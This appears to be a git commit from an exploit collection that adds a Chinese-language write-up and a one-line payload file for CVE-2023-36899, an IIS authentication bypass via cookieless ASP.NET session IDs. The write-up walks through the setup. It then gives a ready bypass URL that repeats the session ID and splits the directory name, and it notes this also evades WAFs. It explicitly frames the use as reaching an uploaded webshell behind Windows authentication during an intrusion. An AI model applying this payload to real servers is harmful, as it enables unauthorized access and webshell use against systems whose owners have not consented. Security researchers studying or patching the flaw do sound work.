add CVE-2023-36899 IIS Identity authentication bypass vulnerability

This commit is contained in:
helloexp 2023-08-30 12:52:26 +08:00
parent b9f83c4750
commit 1ecafa1854
2 changed files with 36 additions and 0 deletions

View File

@ -0,0 +1,35 @@
# CVE-2023-36899.NET 身份绕过 IIS 认证
默认情况下.NET 会话产生的 SessionID 一般位于 HTTP 报文请求或者响应的 Cookie 字段,
命名方式如下
`Cookie:ASP.NET_SessionId=uxfzmc552rdiwh45ja2t3vud;`
如果不想用上述的 Cookie 存储方式也可以改成 Cookie 不带 SessionID 这样的会话,只需要在 web.config 配置<SessionState>节点属性 cookieless 属性为 true这样.NET 将会话 ID 随着 HTTP 请求附加到 URL 地址上。配置清单如下
```xml
<system.web>
<sessionState cookieless="true"/>
</system.web>
```
这样配置后 Cookie 作为 URL 地址的一部分,会话 SessionID 值都以明文的形式发送显然
是不安全的。如下图
但是在早期基于.NET Framwork 版本的应用中大量存在这样的场景,然而这种特性也会存
在绕过 IIS 身份验证的风险。以下通过实验演示绕过 IIS 身份验证的漏洞场景。
在 IIS 项目中 Windows 身份验证是一种强大且广泛使用的身份验证方法,需要匿名访问的
用户输入正确的 Windows 本地帐户登录后才能访问该 Web 应用。配置 Windows 身份验证
步骤如下:
1. 启用 Windows 身份验证安全功能
2. 打开 IIS10 选择 Uploads 目录后进入身份验证模块,启用 Windows 身份验证
配置完成后访问 /(S(mwdwx5uhl2yqliv2w45c5cla))/uploads/dynamicCompilerSpy.aspx
弹出授权登录对话框如下图
遇到这种需要本地 Windows 账户登录才能访问,一般攻击在打点时遇到这样 WebShell 上
传后的场景还是比较常见的,以前可能就放弃或者找其他的解决办法,现在可以用 URL 会
话 ID 的方式绕过,
3. 常用的 Bypass Payload 如下
`(S(mwdwx5uhl2yqliv2w45c5cla))/up/(S(mwdwx5uhl2yqliv2w45c5cla))loads/
`
输入两次会话 ID并且拆解了 uploads 目录,这对绕过 WAF 等安全防护也是有用的。请求
`http://192.168.101.77/(S(mwdwx5uhl2yqliv2w45c5cla))/up/(S(mwdwx5uhl2yqliv2w45c5cla))loads/dynamicCompilerSpy.aspx`
后成功绕过 Windows 身份认证

View File

@ -0,0 +1 @@
http://192.168.101.77/(S(mwdwx5uhl2yqliv2w45c5cla))/up/(S(mwdwx5uhl2yqliv2w45c5cla))loads/dynamicCompilerSpy.aspx